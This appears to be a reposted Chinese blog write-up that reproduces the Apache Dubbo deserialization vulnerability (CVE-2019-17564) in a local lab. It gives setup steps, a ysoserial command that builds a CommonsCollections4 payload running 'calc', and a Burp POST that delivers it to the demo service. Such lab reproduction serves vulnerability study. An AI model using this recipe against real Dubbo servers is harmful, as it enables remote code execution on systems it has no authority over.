zoukankan      html  css  js  c++  java
  • Apache Dubbo反序列化漏洞(CVE-2019-17564)

    信息

    影响版本:Dubbo < 2.7.5
    
    条件:
    
    时间:
    
    复现环境:
    win10 + jdk1.8 + idea 2019.2.4(用来搭建dubbo) + zookeeper 3.4.10
    
    复现版本:Dubbo 2.7.3
    
    版本探测:
    

    漏洞环境的搭建

    1. idea的下载安装
    下载并且安装idea,我的是收费版的(网上有破解教程),如果只是为了快速复现漏洞,那么试用30天后直接看下一步好了。
    
    
    2. zookeeper的下载及启动
    ①dubbo需要配合zookeeper使用,下载zookeeper,地址:
    https://archive.apache.org/dist/zookeeper/zookeeper-3.4.10/zookeeper-3.4.10.tar.gz
    
    ②在解压后的文件夹zookeeper-3.4.10里面创建 data和logs目录
    
    ②修改 conf目录下的zoo_sample.cfg为zoo.cfg
    并且修改zoo.cfg,如下添加
    

    Snipaste_2020-03-07_21-55-43.jpg

    ③ 双击bin目录下的 zkServer.cmd,启动,zookeeper会监听2181端口
    

    Snipaste_2020-03-07_2Snipaste_2020-03-07_21-59-12.jpg1-59-12.jpg

    3. dubbo的启动
    
    ①下载github里dubbo的demo
    https://github.com/apache/dubbo-samples/tree/master/java/dubbo-samples-http
    
    ②修改dubbo-samples-http里面的pom.xml
    
    首先版本改为2.7.3
    
    其次添加依赖
    
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-collections4</artifactId>
        <version>4.0</version>
    </dependency>
    
    

    Snipaste_2020-03-07_22-04-44.jpg

    
    ②用idea导入,"File"->"New"->"Project from existing resources" ->选择目录"dubbo-samples-http"里面的pom.xml
    
    ③这个时候如果直接下载的话会很慢很慢,尝试更换源(建议必换)
    
    右键导入的项目名,点击"Maven"。点击"Create setting.xml",用下面内容直接全部替换掉
    

    加速源

    <?xml version="1.0" encoding="UTF-8"?>
    <settings xmlns="http://maven.apache.org/SETTINGS/1.0.0"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd">
        <mirrors>
            <!-- mirror
             | Specifies a repository mirror site to use instead of a given repository. The repository that
             | this mirror serves has an ID that matches the mirrorOf element of this mirror. IDs are used
             | for inheritance and direct lookup purposes, and must be unique across the set of mirrors.
             |
            <mirror>
              <id>mirrorId</id>
              <mirrorOf>repositoryId</mirrorOf>
              <name>Human Readable Name for this Mirror.</name>
              <url>http://my.repository.com/repo/path</url>
            </mirror>
             -->
    
            <mirror>
                <id>alimaven</id>
                <name>aliyun maven</name>
                <url>http://maven.aliyun.com/nexus/content/groups/public/</url>
                <mirrorOf>central</mirrorOf>
            </mirror>
    
            <mirror>
                <id>uk</id>
                <mirrorOf>central</mirrorOf>
                <name>Human Readable Name for this Mirror.</name>
                <url>http://uk.maven.org/maven2/</url>
            </mirror>
    
            <mirror>
                <id>CN</id>
                <name>OSChina Central</name>
                <url>http://maven.oschina.net/content/groups/public/</url>
                <mirrorOf>central</mirrorOf>
            </mirror>
    
            <mirror>
                <id>nexus</id>
                <name>internal nexus repository</name>
                <!-- <url>http://192.168.1.100:8081/nexus/content/groups/public/</url>-->
                <url>http://repo.maven.apache.org/maven2</url>
                <mirrorOf>central</mirrorOf>
            </mirror>
    
        </mirrors>
    </settings>
    

    Snipaste_2020-03-07_22-07-01.jpg

    ③ 重启idea,点击项目中的pom.xml,"Maven"->"Reimport"就可以下载依赖,很快很快就会被下载完成
    
    4.坑点
    当看到"dubbo service started"就说明成功了。
    

    Snipaste_2020-03-07_22-12-47.jpg

    如果你的ip也正确的话,那么下面一段话就不用看了,直接看攻击步骤就好了。
    仔细观察他给你的url中的ip。一开始我的ip是我一个虚拟网卡的ip,我不能访问。
    搜索之后,要修改dubbo的配置文件来绑定自己的ip,这里贴出我的配置,配置文件dubbo-samples-httpsrcmain
    esourcesspringhttp-provider.xml
    

    Snipaste_2020-03-07_22-15-48.jpg

    攻击

    1.下载jar包
    https://xiaokou.top/usr/uploads/file/ysoserial-master-30099844c6-1.jar
    
    2.生成payload
    java -jar ysoserial-master-30099844c6-1.jar CommonsCollections4 "calc" > calc.ser
    
    3.burp发包
    访问192.168.1.104:8080/org.apache.dubbo.samples.http.api.DemoService,burp截包
    
    修改访问类型为POST,post的数据就是calc.ser的内容,这里不要打开calc.ser直接复制,用burp的"Paste from file"
    

    Snipaste_2020-03-07_22-22-04.jpg

    成功弹出计算器
    

    Snipaste_2020-03-07_21-28-33.jpg

    注意的地方

    1.maven下载的时候一定要配置国内的源啊,不然要花费很长时间才能下载完依赖,而且真的不一定能下载完
    
    2.配置完环境后,其实我们是没法访问8080端口看到东西的,因为只是一个provider端,并没有提供dubbo的全部功能。
    
    3.发包的时候,不要直接打开calc.ser直接复制
    
    4.dubbo启动后要看看自己的ip地址对不对
    
  • 相关阅读:
    singleton模式 在软件开发中的运用
    State Pattern
    闲话闲说——关于异常
    程序人生
    Event
    SerialPort实现modem的来电显示
    利用枚举进行状态的设计
    职责链模式的运用
    我对当前项目的一些看法
    SHAREPOINT 2007 网站模板(解决方案)安装和卸载
  • 原文地址:https://www.cnblogs.com/zaqzzz/p/12443794.html
Copyright © 2011-2022 走看看